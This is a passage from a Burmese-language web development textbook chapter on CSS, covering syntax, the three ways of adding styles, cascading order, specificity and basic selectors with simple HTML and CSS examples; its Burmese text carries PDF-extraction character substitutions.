အ့ဲဒီ Content ကြေတရွဲ့ ကြေoာ်gပပုံအသွင်အgပင်သတ်မှတ်gခင်းဟာ HTML ရဲ့တာဝန်မဟုတ်ပါyူး။ ကြေနာက်တစ်
ခန်းမှာဆက်လက်ကြေoာ်gပမယ့် CSS ရဲ့ တာဝန်ပဲgoစ်ပါတယ်။
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အခန်း (၂) - CSS

HTML ဟာ Markup Language goစ်ပြပီး CSS ကကြေတာ့ Style Language goစ်ပါတယ်။ HTML ကိုအသုံးgပု
စုစည်းထားတဲ့  Content  ကြေတရွဲ့  အရွယ်အစား၊  အကြေရာင်၊  အကွာအကြေဝး စသgoင့်  ကြေoာ်gပပုံအသွင်အgပင်ကို
CSS နဲ့ သတ်မှတ်ကြေပးရမှာ goစ်ပါတယ်။ CSS ရဲ့ အဓိပ္ပါယ်အရှည်က Cascading StyleSheet goစ်ပါတယ်။
Cascading  ဆိုတာ  တစ်ခုထက်ပုိတဲ့  Style  သတ်မှတ်ချက်ကြေတွကို  ကြေရာစပ်  အသုံးgပုနိုင်တဲ့သကြေyာလုိ့
အလွယ်မှတ်နိုင်ပါတယ်။ ဒီလုိကြေရာစပ်သုံးတဲ့အခါ အလုပ်လုပ်ပံုကို ခဏကြေနကြေတာ့ ဆက်ကြေလ့လာeကပါမယ်။

အရင်တံုးကကြေတာ့ Web Document ကြေတတွည်ကြေဆာက်oုိ့ Markup Language ကြေတွ အမျ ို းမျ ို းရှိလာမယ်လုိ့
တီထွင်သူကြေတွက ကြေမျှာ်မှန်းခဲ့eကပုံ  ရပါတယ်။  XHTML  လုိနည်းပညာကြေတွ  ရှိခဲ့oူးကြေပမယ့်လည်း  အခုကြေတာ့
HTML  တစ်မျ ို းတည်းကိုသာ သံုးeကပါကြေတာ့တယ်။ အလားတူပဲ  Style Language  ကြေတွလည်း အမျ ို းမျ ို းရှိ
လိမ့်မယ်လုိ့ ကြေမျှာ်မှန်းထားခဲ့eကမယ် ထင်ပါတယ်။  XSLT  လုိနည်းပညာကြေတွ ရှိခဲ့oူးကြေပမယ့် အခုကြေတာ့  CSS
တစ်မျ ို းတည်းကိုသာ  သံုးeကပါကြေတာ့တယ်။  Script  Language  ကြေတွလည်း  အမျ ို းမျ ို းရှိလာလိမ့်မယ်လုိ့
ကြေမျှာ်မှန်းထားeကပါလိမ့်မယ်။  VBScript  လုိနည်းပညာကြေတွ ရှိခဲ့oူးကြေပမယ့် အခုကြေတာ့  JavaScript  တစ်မျ ို း
တည်းကိုသာ သံုးeကပါကြေတာ့တယ်။ ဒါကြေeကာင့် HTML, CSS, JavaScript တိုဟ့ာ မူကွဲအမျ ို းမျ ို းရှိပြပီး အမျ ို း
မျ ို းနဲ့  အgပန်အလှန်တွဲoက်သုံးလုိရ့ကြေစမယ့်  ပံုစံမျ ို းကြေတွနဲ့  ရည်ရွယ်oန်တီးခဲ့eကကြေပမယ့်  လက်ကြေတွ့မှာ  မူကွဲ
ကြေတွမရှိeကကြေတာ့ပဲ   Web Document   တည်ကြေဆာက်oုိဆ့ိုရင်   HTML, CSS   နဲ့    JavaScript   ကိုသာ အသုံးgပုရ  
တယ် ဆိုတဲ့ အကြေgခအကြေနကို ကြေရာက်ရှိကြေနgခင်းပဲ goစ်ပါတယ်။

မူကွဲကြေတွနှစ်မျ ို းသံုးမျ ို း  ရှိမယ့်အစား၊  Pre-processor  တို့  Superset  တိုလုိ့  အသံုးအနှုန်းကြေတွနဲ့  တစ်ဆင့်ခံ
နည်းပညာကြေတွ ထွက်ကြေပါ်လာခဲ့ပါတယ်။ CSS မှာဆိုရင် LESS တို့ SASS တိုလုိ့ Pre-processor နည်းပညာ
ကြေတွ ရှိပါတယ်။ မူလ CSS မှာ မပါတဲ့ ကြေရးနည်းကြေရးဟန်ကြေတွ၊ လုပ်ကြေဆာင်ချက်ကြေတွကို ကြေပါင်းထည့်ကြေပးထား
တာပါ။ ဒါကြေပမယ့် ကြေရးပြပီးရင် အ့ဲဒီ LESS တို့ SASS တိုလုိ့ ကုဒ်ကြေတွကို CSS ကုဒ် goစ်ကြေအာင် gပန်ကြေgပာင်းပြပီးမှ
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ပဲ  သုံးလုိရ့ပါတယ်။  JavaScript  မှာဆိုရင်လည်း  CoffeeScript  တို့  TypeScript  တိုလုိ့  တစ်ဆင့်ခံ  နည်း
ပညာကြေတွ ရှိကြေနပါတယ်။ ဒီနည်းပညာကြေတွလည်းပဲ ကြေရးပြပီးရင် JavaScript ကုဒ်goစ်ကြေအာင် gပန်ကြေgပာင်းပြပီးမှ
ပဲ သုံးeကရပါတယ်။ ဒါက ဗဟုသုတအကြေနနဲ့ ထည့်မှတ်oုိ့ပါ။

CSS Syntax
CSS ကုဒ်ကြေတွရဲ့ oဲွ့စည်းပံုကို အရင်ဆံုးစeကည့်eကပါမယ်။ ဒီလုိပါ။

Selector
   |
  _|_
 |   |
 

  div {                      _
   background: yellow;   |
   color: brown;        _|----- Rules
  }     
          |_______|  |______|                  
              |          |
              |          |
          Property     Value

နမူနာအရ <div> Element ကြေတွအားလုံးကို ကြေနာက်ခံ အဝါကြေရာင်နဲ့ စာလံုးနီညိုကြေရာင် သုံးပြပီးကြေoာ်gပရမယ်
လုိ့ သတ်မှတ်လုိက်တာပါ။  Selector  goစ်တဲ့  div ရဲ့ ကြေနာက်မှာ တွန့်ကွင်းအoွင့်အပိတ်နဲ့ သတ်မှတ်လုိတဲ့
Rule  ကြေတွကို တန်းစီပြပီး ကြေရးကြေပးရတာပါ။  Rule  တစ်ခုနဲ့  တစ်ခုကို  Semi-colon  (;) နဲ့  ပုိင်းgခားကြေပးရပါ
တယ်။ တစ်ကြေeကာင်းထဲပဲကြေရာကြေရးကြေရး၊ နမူနာမှာလုိ  Rule  တစ်ခုကို  တစ်ကြေeကာင်းနှုန်းနဲပဲ့  ခွဲကြေရးကြေရး ကြကိုက်
သလုိကြေရးလုိရ့ပါတယ်။ အလုပ်လုပ်ပါတယ်။ ဒါကြေပမယ့် ခွဲကြေရးမှ  oတ်ရှုgပင်ဆင်ရ လွယ်ကူအဆင်ကြေgပမှာပါ။
Rule တစ်ခခုျင်းစီမှာ Property နဲ့ Value ကြေတွပါဝင်ပြပီး Full-colon (:) နဲ့ ပုိင်းgခားကြေပးရပါတယ်။ ကြေရးနည်း
က ဒီတစ်နည်းထဲပါပဲ။ နှစ်နည်းမရှိပါyူး။ ဒီကြေရးနည်းမှာပါဝင်တဲ့ Selector ကြေတွ Property ကြေတွ Value ကြေတွ
ကိုသာ ဆက်လက်ကြေလ့လာeကရမှာပါ။
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HTML & CSS
HTML Document  တစ်ခုအတွက်  CSS Style  ကြေတွကို  ပံုစံ  (၃)  မျ ို းနဲ့  ကြေရးသား  ထည့်သွင်းလုိရ့ပါတယ်။
ပထမတစ်နည်းကကြေတာ့  CSS  ကုဒ်ကြေတွကို  သီးgခားoုိင်တစ်ခုနဲ့  ကြေရးသားပြပီး  HTML Document  ထဲကကြေန
လှမ်းချတိ်တဲ့နည်းပါ။  External  CSS  လုိ့ကြေခါ်eကပါတယ်။  CSS  က သပ်သပ်၊  HTML က သပ်သပ်ကြေရးပြပီး
ကြေတာ့ ချတိ်ကြေပးလုိက်တာပါ။

 CSS – style.css 

body {
    background: cyan;
    color: brown;
}

 HTML 

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Document</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>
    ...
</body>
</html>

နမူနာကိုကြေလ့လာeကည့်လုိက်ရင်  <link> Element ကိုသုံးပြပီး  CSS ကုဒ်oုိင်ကို ချတိ်ဆက်ထားgခင်းgoစ်ပါ
တယ်။ ဒီလုိချတိ်ဆက်ကြေပးလုိက်ရင် လက်ရှိ Document ထဲက Element ကြေတွကို ကြေoာ်gပတဲ့အခါ ချတိ်ဆက်
ကြေပးထားတဲ့ CSS oုိင်မှာ သတ်မှတ်ထားတဲ့ အသွင်အgပင်သတ်မှတ်ချက်များအတိုင်း ကြေoာ်gပကြေပးသွားမှာပါ။ 

<link> အတွက်  rel Attribute နဲ့  href Attribute တို့ ပါဝင်တာကို သတိgပုပါ။ နှစ်ခုလံုး မgoစ်မကြေန
ပါဝင်ရပါတယ်။  rel ရဲ့တန်oုိးက ပံုကြေသပါပဲ၊  stylesheet goစ်ရပါတယ်။  <link> ကိုသုံးပြပီး တgခား
Resource အမျ ို းအစားကြေတွကို ချတိ်လုိ့ ရပါကြေသးတယ်။ Favicon ကြေခါ် Icon ကြေတyွာကြေတွလည်း ချတိ်လုိရ့
တာgoစ်လုိ့  CSS Style  ကြေတွကို ချတိ်မှန်း ကွဲgပားကြေအာင် rel မှာ stylesheet လုိ့ သတ်မှတ်ကြေပးရတာ
ပါ။  href ကကြေတာ့  CSS  oုိင်တည်ရှိရာ  URL/Path  goစ်ပါတယ်။ ကြေလ့လာစမှာ အများအားgoင့်  CSS  ကြေတွ
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ကြေရးထားကြေပမယ့်  အလုပ်လုပ်yူးဆိုရင်  ဒီကြေနရာမှာကြေပးတဲ့  URL/Path  လဲွကြေန၊  မှားကြေနeကတာ များပါတယ်။
ကြေသချာမှန်ကြေအာင် ကြေပးရပါတယ်။  <link> Element  ကို  ကြကိုက်တဲ့ကြေနရာမှာ ကြေရးလုိရ့ကြေပမယ့်  <head>
အတွင်းမှာ  ကြေရးeကကြေလ့ရှိပါတယ်။  အ့ဲဒီ  Document  အတွက်  အသွင်အgပင်သတ်မှတ်ချက်  ကြေတွကို  ကြကို
ကြေeကညာလုိက်တဲ့ သကြေyာပါ။

ကြေနာက်ထပ်ကြေရးနည်းကိုကြေတာ့ Internal CSS လုိ့ ကြေခါ်ပါတယ်။ <head> Section အတွင်းမှာပဲ <style>
Element ကိုသုံးပြပီး CSS ကုဒ်ကြေတွ ကြေရးနိုင်ပါတယ်။ ဒီလုိပါ -

 HTML 

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Document</title>
    <style>
        body {
            background: cyan;
            color: brown;
        }
    </style>
</head>
<body>
    ...
</body>
</html>

ဒီတစ်ခါ  <style> ကိုသုံးပြပီး  CSS  ကုဒ်ကြေတွ တစ်ခါထဲ ကြေရးကြေပးလုိက်တာပါ။ အရင်ကကြေတာ့  <style>
အတွက်  type=text/css ဆိုတဲ့  Attribute  တစ်ခုသတ်မှတ်  ကြေပးရပါတယ်။  အကြေပါ်မှာကြေgပာခဲ့သလုိ
Style Language နှစ်မျ ို းသံုးမျ ို း ရှခိဲ့ရင် သံုးလုိတဲ့ Language အမျ ို းအစားကို ကြေgပာကြေပးရတဲ့ သကြေyာပါ။ အခု
ကြေတာ့ CSS တစ်ခုပဲရှိလုိ ့ထည့်ကြေပးစရာမလုိကြေတာ့ပါyူး။

ကြေနာက်ဆံုးတစ်နည်းကိုကြေတာ့ Inline Style လုိ့ကြေခါ်ပါတယ်။ HTML Element နဲအ့တူ CSS Style ကြေတွကို တဲွ
ကြေရးတဲ့နည်းပါ။ ဒီလုိပါ -
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 HTML 

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Document</title>
</head>
<body style="background: cyan; color: brown;">
    ...
</body>
</html>

style Attribute ကိုသုံးရပါတယ်။ ကြေရးနည်းနည်းထူးgခားသွားပါတယ်။ Selector ကြေတွ တွန့်ကွင်းကြေတွ မပါ
ကြေတာ့ပဲ၊ Rule ကြေတခွျည်းပဲ တန်းစီပြပီး ချကြေရးကြေပးရတာပါ။

အရင်ကဆိုရင်  External  CSS  ကိုသာလျှင်  အသံုးgပုသင့်ကြေeကာင်း။  Markup  နဲ့  Style  ကို  ခွဲgခားထားတဲ့
အတွက် gပုgပင်ထိမ်းသိမ်းရ ပုိမုိလွယ်ကူကြေeကာင်း၊  ခွဲကြေရးထားတဲ့  External CSS  oုိင်ကို  လုိတဲ့  Document
ကကြေန ချတိ်သံုးလုိရ့လုိ့ ထပ်ခါထပ်ခါ gပန်ကြေရးစရာမလုိကြေတာ့ကြေeကာင်း စသgoင့် External CSS ကိုသာ သုံးeက
oုိန့ဲ့ တgခားနည်းကြေတွ မသုံးoုိ့ ကြေgပာရပါတယ်။ အခုကြေတာ့ ကြေခတက်ြေတွကြေgပာင်းပြပီး အကုန်လံုး သူ့ကြေနရာနဲသူ့ သံုး
လာeကလုိ ့ကြေရးနည်းအားလုံးကို မှတ်သားထားoုိ ့လုိအပ်ပါတယ်။ 

ပြပီးကြေတာ့ တစ်ကြကိမ်မှာ ကြေရးနည်း (၁) မျ ို းပဲသုံးရမယ်ဆိုတဲ့ ကန့်သတ်ချက်မျ ို း မရှိပါyူး။ <link> နဲ့ လုိတဲ့
oုိင်  နှစ်ခုသံုးခုကို  ချတိ်သံုးလုိရ့သလုိ  <style> ကြေတွ  Inline  ကြေတွနဲလ့ည်း  ကြေရာသုံးလုိရ့ပါတယ်။ အ့ဲဒီလုိ
ကြေရးနည်းအမျ ို းမျ ို း ကြေရာသုံးလုိပဲ့goစ်goစ်၊ တစ်မျ ို းတည်း သံုးကြေပမယ့် ကြေရးထားတဲ့ကုဒ်ကြေတွ တူပြပီးgပန်ထပ်လာ
ရင်ပဲ goစ်goစ်  CSS  ရဲ့ အလုပ်လုပ်သွားတဲ့  ပံုစံကိုလည်း ထည့်သွင်းမှတ်သားရပါမယ်။ အ့ဲဒါကို  Cascading
Order လုိ့ကြေခါ်ပါတယ်။
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Cascading Order
Cascading Order  မှာ အeကမ်းoျင်းအားgoင့် ချတိ်ဆက်ထည့်သွင်းတဲ့နည်း တူရင် ကြေနာက်မှကြေရးတဲ့ကုဒ်ကို
အတည်ယူတယ်လုိ့ မှတ်ထားကြေပးပါ။ ဒီလုိ နှစ်ခုချတိ်ထားတယ် ဆိုပါစို ့-

 HTML 

<link rel="stylesheet" href="a.css">
<link rel="stylesheet" href="b.css">

a.css နဲ့  b.css ထဲမှာ  ကြေရးထားတဲ့ကုဒ်တူတာပါလာရင်  b.css ကို  အတည်ယူသွားမှာပါ။  သူက
ကြေနာက်မှ ချတိ်ပြပီး ထည့်ထားတာမုိလုိ့ပ့ါ။ အပြမဲတမ်းကြေတာ့မဟုတ်ပါyူး၊ အများအားgoင့် ဒီသကြေyာနဲ့ အလုပ်
လုပ်ပါတယ်။ 

External, Internal စသgoင့် နည်းကြေတွ ကြေရာသုံးတဲ့အခါ အလုပ်လုပ်သွားတဲ့ အစီအစဉ်က ဒီလုိပါ -

1. Browser Default
2. External Style
3. Internal Style
4. Inline Style

Browser Default ဆိုတာ ကိုယ်ကြေရးကြေပးထားတဲ့  CSS မဟုတ်yဲ Web Browser ကြေတွက အလုိအကြေလျှာက်
သတ်မှတ်ကြေပးတဲ့ Style ကြေတွကိုကြေgပာတာပါ။ ဥပမာ <h1> ဆိုရင် စာလံုးကြကီးကြကီးgပတယ်။ <p> ကြေတွတစ်ခုနဲ့
တစ်ခု နည်းနည်းခွာပြပီးgပတယ်ဆိုတာ Browser Default Style  ကြေတွကြေeကာင့်ပါ။ အ့ဲဒါကြေတွကိုအရင် အလုပ်
လုပ်ပါတယ်။ ပြပီးကြေတာ့မှ  External Style  ကြေတွကိုအလုပ်လုပ်ပါတယ်။ ပြပီးကြေတာ့မှ  Internal Style  ကြေတွကို
အလုပ်လုပ်ပြပီး  ကြေနာက်ဆံုးမှ  Inline Style  ကိုအလုပ်လုပ်ပါတယ်။ ကုဒ်ကြေတွ ထပ်ကြေန၊ တူကြေနရင် ကြေနာက်မှ
အလုပ်လုပ်တဲ့ကုဒ်က အတည်goစ်မှာ goစ်ပါတယ်။

တတူယ်ဆိုတဲ့ကြေနရာမှာ ဒီလုိပံုစံမျ ို းကြေတွ လာနိုင်ပါတယ်။
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 CSS – a.css 

body {
    background: cyan;
    color: brown;
}

 CSS – b.css 

body {
    background: yellow;
}

a.css ထဲမှာ ကြေရးထားတဲ့ကုဒ်နဲ့  b.css ထဲမှာ ကြေရးထားတဲ့ကုဒ် ဆင်တူကြေနပါပြပီ။ ဒါကြေeကာင့် ကြေနာက်မှကြေရး
တဲ့  b.css ထဲကကုဒ်ကို  အတည်ယူသွားမှာပါ။ ဒါကြေပမယ့်  Rule  ကြေတွကိုeကည့်လုိက်ရင်  background
တစ်ခုပဲ တူတာgoစ်ပြပီး color က မတူပါyူး။ ဒါကြေeကာင့် ကြေနာက်ဆံုးရလဒ်က ဒီလုိgoစ်မှာပါ။

 CSS 

body {
    background: yellow;
    color: brown;
}

background က  b.css ထဲမှာ  ကြေရးထားတဲ့အတိုင်း  yellow goစ်သွားကြေပမယ့်  color ကကြေတာ့
a.css မှာ  ကြေရးခဲ့တဲ့အတိုင်း  brown goစ်ကြေနမှာgoစ်ပါတယ်။  CSS  ကြေလ့လာတဲ့အခါ  ဒါကြေတွနားလည်oုိ့
အကြေရးကြကီးပါတယ်။  မဟုတ်ရင်  ကြေရးတဲ့အတိုင်းလည်း  အလုပ်မလုပ်yူး၊  yာကြေတွမှန်းမသိyူး  ဆိုပြပီးကြေတာ့
စိတက်ြေတွ ညစ်သွားတတ်ပါတယ်။ CSS ဟာ လွယ်မကြေယာင်ကြေယာင်နဲ ့နည်းနည်းခက်ပါတယ်။

ကြေနာက်မှကြေရးတဲ့ကုဒ်ကို  အတည်ယူတယ်ဆိုတာနဲ့  ပက်သက်ရင် ခြခွင်းချက်ကြေတာ့ ရှိပါတယ်။  Selector  ချင်း
တူကြေနရင် ပုိတိကျတာကို အရင်ကြေရးကြေရး ကြေနာက်မှကြေရးကြေရး အတည်ယူပါတယ်။ ဒီလုိပါ -
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 CSS 

body div {
    background: cyan;
}

div {
    background: yellow;
}

div ဆိုတာလည်း <div> Element ကြေတွကိုကြေgပာတာပါပဲ။  body div ဆိုတာက <body> ထဲမှာရှိတဲ့
<div> လုိ့ကြေgပာတာgoစ်လုိ့  <div> ကြေတွကို  ကြေgပာတာပါပဲ။  တစ်ကယ်တမ်းက  အတူတူပါပဲ။  ဒါကြေပမယ့်
body div ဆိုတဲ့  Selector  က  div ဆိုတဲ့  Selector  ထက်  ပုိတိကျလုိ့  သူ့ကိုအရင်ကြေရးထားကြေပမယ့်
လည်း  သူ့ကိုအတည်ယူပြပီး  အလုပ်လုပ်ကြေပးသွားမှာပါ။  နမူနာကုဒ်အရ  <div> ရဲ့  background ဟာ
cyan ပဲgoစ်မှာ goစ်ပါတယ်။ 

CSS Selectors
CSS မှာ Selector ကြေတွ အမျ ို းမျ ို းရှိပါတယ်။ အကြေgခခံ Selector (၄) မျ ို းကကြေန စeကည့်eကပါမယ်။

• Element/Type Selector
• ID Selector
• Class Selector 
• Attribute Selector

Element  Selector  (သုိမ့ဟုတ်)  Type  Selector  ဆိုတာ  လုိရင်းကကြေတာ့  HTML  Element  ရဲ့  အမည်
အတိုင်း  Select  လုပ်တာပါ။  body ဆိုရင်  <body> Element  ကြေတွကို  Select  လုပ်တာပါ။  div ဆိုရင်
<div> Element  ကြေတွကို  Select  လုပ်တာပါ။  p ဆိုရင်  <p> Element  ကြေတွကို  Select  လုပ်တာပါ။ ဒါ
ကြေeကာင့် အရုိးရှင်းဆံုးနဲ ့အကြေgခခံအကျဆံုး Selector လုိ့ ဆိုနိုင်ပါတယ်။

ID Selector ကိုကြေတာ့ ကြေရှ့ကကြေန # သကြေက[တကြေလးခံပြပီး ကြေရးကြေပးရပါတယ်။ p#note ဆိုရင် <p> Element
ကြေတွထဲက id Attribute မှာ note လုိ့ကြေပးထားတဲ့  Element ကိုကြေရွးယူလုိက်တာပါ။ #note ဆိုရင်ကြေတာ့
<p> ကြေတွ <div> ကြေတွမကြေgပာကြေတာ့yဲ၊ id Attribute မှာ note လုိ့ကြေပးထားတဲ့ Element ကို Select လုပ်
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ယူတာပါ။  နှစ်မျ ို းကြေရးလုိရ့တဲ့သကြေyာ  goစ်ပါတယ်။  ကြေရှ့ကကြေန  Element  ထည့်ကြေရးလုိရ့သလုိ၊  မထည့်yဲ
လည်း ကြေရးလုိရ့ပါတယ်။

Class Selector  ကိုကြေတာ့ ကြေရှ့ကကြေန  Dot  (.) သကြေက[တကြေလးခံပြပီး  ကြေရးကြေပးရပါတယ်။  p.note ဆိုရင်
<p> Element ကြေတွထဲက class Attribute  မှာ  note လုိ့ကြေပးထားတဲ့  Element  ကြေတွကို  ကြေရွးယူတာပါ။
.note ဆိုရင်ရင်ကြေတာ့ <p> ကြေတွ <div> ကြေတွ မကြေgပာကြေတာ့yဲ class Attribute မှာ note လုိ့ကြေပးထား
သမျှ Element အားလုံးကို Select လုပ်ယူလုိက်တာပါ။

goည့်စွက်သတိgပုကြေပးပါ။  id ဆိုတာ gပန်မထပ်ရပါyူး။  id     တူ  ကြေန  တဲ့    Element   ကြေတွ  မရှိသင့်ပါyူး  ။ တစ်ခု
ထဲ သီးသန့်goစ်သင့်ပါတယ်။ gပန်ထပ်လုိ့ id အတတူူ နှစ်ခုသံုးခုကြေပးထားလုိ့ Error တက်မှာ မဟုတ်ကြေပမယ့်
မကြေပးသင့်ပါyူး။  သူ့ရည်ရွယ်ချက်ကိုက  Element  အတွက်  Unique  ID  ကြေပးoုိအ့တွက်မုိလုိ့့ပါ။  class
ကကြေတာ့  အမျ ို းအစားတူတဲ့    Element    တိုင်းကို    class     အတူတူကြေပးလုိရ့ပါတယ်  ။  သူ့ရည်ရွယ်ချက်ကိုက
အမျ ို းတူရာ Element ကြေတွကို အတတူူစုကြေပးoုိ့ပါ။ ကြေနာက်ထပ်goည့်စွက် မှတ်သားရမှာကကြေတာ့ class ရဲ့
Value ဟာ တစ်ခုထက်ပုိကြေပးလုိရ့gခင်း goစ်ပါတယ်။ ဒီလုိပါ -

 HTML 

<p class="alert note active"> … </p>

နမူနာအရ <p> Element မှာ alert, note နဲ့  active ဆိုတဲ့ class တန်oုိး (၃) ခုထိရှိကြေနတာပါ။
အ့ဲဒီလုိကြေပးလုိရ့ပါတယ်။

Attribute Selector ကကြေတာ့ Element ရဲ့ Attribute ကိုeကည့်ပြပီး Select လုပ်တာပါ။ img[alt] ဆိုရင်
<img> Element  ကြေတွထဲကမှ  alt Attribute  ရှတိဲ့  Element  ကြေတွကိုချည်းပဲ  ကြေရးွလုိက်တာပါ။  alt
Attribute  မရှိရင် ထည့်မကြေရွးပါyူး။  input[type=submit] ဆိုရင်ကြေတာ့  <input> Element ကြေတွ
ထဲကမှာ type=submit ကြေတွကိခုျည်းပဲ ကြေရးွလုိက်တာပါ။ ဒါကြေeကာင့် Attribute Selector နဲ့ Select လုပ်
တဲ့အခါ  Attribute  ချည်းပဲကြေပးပြပီး  Select  လုပ်လုိရ့သလုိ  Attribute=Value  လုိအ့gပည့်အစံုကြေပးပြပီးကြေတာ့
လည်း Select လုပ်လုိရ့မှာ goစ်ပါတယ်။ ဒီ (၄) မျ ို းလံုးကို အခုလုိ လက်ကြေတွ့ စမ်းeကည့်လုိက်ပါ။



PWD 2023 – အခန်း (၂) - CSS 50

 HTML 

<p>Browser List</p>
<p class="browser" id="popular">Google Chrome</p>
<p class="browser">Mozilla Firefox</p>
<input type="text">
<input type="submit">

နမူနာအရ <p> Element (၃) ခုပါဝင်ပါတယ်။ တစ်ခုနဲတ့စ်ခု class ကြေတွ id ကြေတွကြေတာ့ မတူeကပါyူး။
<input> (၂) ခုပါဝင်ပါတယ်။ type ကြေတွ မတူeကပါyူး။ ဒီ Element ကြေတွအတွက် Style သတ်မှတ်ချက်
ကြေတွကို အခုလုိကြေရးပြပီး စမ်းeကည့်ပါ။

 CSS 

p {
  padding: 10px;
}

.browser {
  background: cyan;
}

#popular {
  font-weight: bold;
}

input[type=text] {
  width: 400px;
}

နမူနာအရ  p Selector  ကိုသုံးပြပီးကြေရးထားတဲ့  padding ဟာ  <p> Element  များ  အားလံုးကြေပါ်မှာ
သက်ကြေရာက်ကြေနမှာပါ။  yာgoစ်သွားတာလဲ  gမင်သိကြေစoုိအ့တွက်  တန်oုိး  10px ကို  နှစ်သက်ရာတန်oုိးနဲ့
အစားထုိးပြပီး  စမ်းeကည့်နိုင်ပါတယ်။  စမ်းeကည့်သင့်ပါတယ်။  padding ရဲ့  သကြေyာသyာဝကို  ခဏကြေန
ကြေတာ့မှ ထပ်ကြေgပာပါမယ်။

.browser Selector  ကိုသုံးပြပီးကြေတာ့  background ထည့်ထားပါတယ်။  ဒါကြေeကာင့်  class  မှာ
browser လုိ့  သတ်မှတ်ထားတဲ့  Element  ကြေတွမှာသာ  ဒီ  background အသက်ဝင်တယ်ဆိုတာကို
ကြေတွ့ ရမှာ goစ်ပါတယ်။ ကျန်တဲ့  Element ကြေတွနဲ့ မဆိုင်ပါyူး။ အလားတူပဲ  #popular Selector  ကိုသုံး
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ပြပီးကြေတာ့ စာလံုးကြေတွကို  Bold  လုပ်ခိုင်းထားလုိ့  id=popular Element  ထဲမှာရှိတဲ့စာကိုပဲ  ကြေရွးပြပီးကြေတာ့
Bold လုပ်ကြေပးသွားမှာgoစ်ပါတယ်။

ကြေနာက်ဆံုးတစ်ခုအကြေနနဲ့  input[type=text] Selector  ကိုသုံးပြပီး  width သတ်မှတ်ထားပါတယ်။
<input> နှစ်ခုပါဝင်ကြေပမယ့် ဒီ width တန်oုိးဟာ type=text Element ကြေပါ်မှာပဲ သက်ကြေရာက်တယ်
ဆိုတာကို ကြေတွ့ရမှာ goစ်ပါတယ်။

စမ်းတဲ့အခါ အကြေပါ်မှာကြေgပာထားတဲ့  နည်း  (၃)  နည်းထဲက  External CSS  အကြေနနဲစ့မ်းလုိရ့သလုိ့  Internal
CSS  အကြေနနဲလ့ည်း စမ်းလုိရ့ပါတယ်။ ဒါကြေပမယ့် ကြေလာကြေလာဆယ် လွယ်သွားကြေအာင်  Codepen  မှာပဲ စမ်း
eကည့်လုိက်ပါ။ ဒီလုိပါ -

- https://codepen.io/pen

Selector  ကြေတွအကြေeကာင်း  ကြေgပာကြေနတာဆိုကြေပမယ့်  လက်စနဲ့  နမူနာကြေပးထားတဲ့  Property  ကြေတွကိုလည်း
တစ်ခါထဲ  ထည့်မှတ်၊  ထည့်စမ်းကြေပးပါ။  နားလည်ရ လွယ်ပါတယ်။  Property  ကိုeကည့်လုိက်ယုံနဲ့  yာကို
ဆိုလုိတာလဲဆိုတာ အဓိပ္ပါယ် ကြေပါ်လွင်ပါတယ်။ တန်oုိးကြေတွကို  ကိုယ့်စိတ်ကူးကြေလးနဲက့ိုယ်  မှန်းပြပီးgပင်စမ်း
eကည့်နိုင်ပါတယ်။ လက်ကြေတွ့ စမ်းeကည့်တာထက် ပုိကြေကာင်းတဲ့ကြေလ့လာနည်း မရှိပါyူး။

https://codepen.io/pen
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Selector ကြေတွကို Comma ခံပြပီး Group လုပ်လုိလ့ည်း ရပါတယ်။ ဒီလုိပါ -

 CSS 

h1, h2, h3 {
    color: brown;
}

ဒါဟာ  Selector  သုံးခုကို  တစ်ခါထဲ  Comma  ခံပြပီး  တွဲကြေရးလုိက်တာပါ။  ဒါကြေeကာင့်  သတ်မှတ်လုိက်တဲ့
Property ဟာ <h1> <h2> <h3> အားလုံးအကြေပါ်မှာ သက်ကြေရာက်ကြေတာ့မှာပါ။ 

ဆက်လက်ကြေလ့လာရမှာကကြေတာ့ Selector ကြေတွကို oဲွ့စည်းပံုကြေပါ် မူတည်ပြပီး ကြေရွးယူလုိရ့တဲ့ နည်းကြေတွgoစ်ပါ
တယ်။ CSS မှာ ဒီလုိ Selector (၄) မျ ို းရှိကြေပမယ့်၊ (၂) မျ ို းကိုကြေရွးပြပီးကြေတာ့ ကြေoာ်gပချင်ပါတယ်။

• Descendant Selector
• Child Selector

Descendant  Selector  ဆိုတာ  Element  တစ်ခုအတွင်းထဲမှာ  ရှတိဲ့  Element  ကြေတွကို  Select  လု််ပတဲ့
နည်းပါ။ ဥပမာ - ul li ဆိုရင် <ul> အတွင်းထဲက <li> ကြေတွကို Select လုပ်gခင်းgoစ်ပါတယ်။ တgခား
<li> ကြေတွမပါပါyူး။ div p span ဆိုရင် <div> အတွင်းထဲက <p> အတွင်းထဲက <span> ကြေတွကို
Select  လုပ်တာပါ။ တgခား  <span> ကြေတွ မပါပါyူး။  .alert b ဆိုရင်  class မှာ  alert လုိ့ကြေပး
ထားတဲ့ Element ကြေတွအတွင်းထဲက <b> ကို Select လုပ်တာပါ။ စသgoင့် လုိအပ်သလုိတွဲသံုးလုိရ့ပါတယ်။
အသုံးများပါတယ်။ Element ရဲ့ oဲွ့စည်းပံုကို သိရင် Select လုပ်လုိရ့ကြေနပြပီမုိလုိပ့ါ။

Child Selector ဆိုတာလည်း အတွင်းထဲမှာရှိတဲ့ Element ကြေတွကို Select လုပ်တာပါပဲ။ ဒါကြေပမယ့် Direct
Child ကိုပဲ Select လုပ်တာပါ။ ဥပမာ ul > li ဆိုရင် <ul> ရဲ့ Direct Child goစ်တဲ့ <li> ကြေတွကိုပဲ
ကြေgပာတာပါ။ ထပ်ဆင့်အဆင့်ဆင့်ရှိကြေနတဲ့ <li> ကြေတွမပါပါyူး။ ဒီသကြေyာကို ကြေပါ်လွင်မယ့် ဥပမာကြေလးတစ်
ခု ကြေပးပါမယ်။
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 HTML 

<ul>
  <li>Servers</li>
  <li>
    Browsers
    <ol>
      <li>Chrome</li>
      <li>Firefox</li>
    </ol>
  </li>
</ul>

နမူနာမှာ List က နှစ်ထပ်ပါ။ <ul> List အတွင်းထဲမှာ ကြေနာက်ထပ် <ol> List တစ်ခု ရှိကြေနပါတယ်။

 CSS 

ul li {
  padding:20px;
  border: 1px solid red;
}

နမူနာအရ  Selector  ကို ul li လုိ့ကြေgပာတဲ့အတွက်  <ul> ရဲ့အတွင်းထဲက  <li> အားလုံးကြေပါ်မှာ  ဒီ
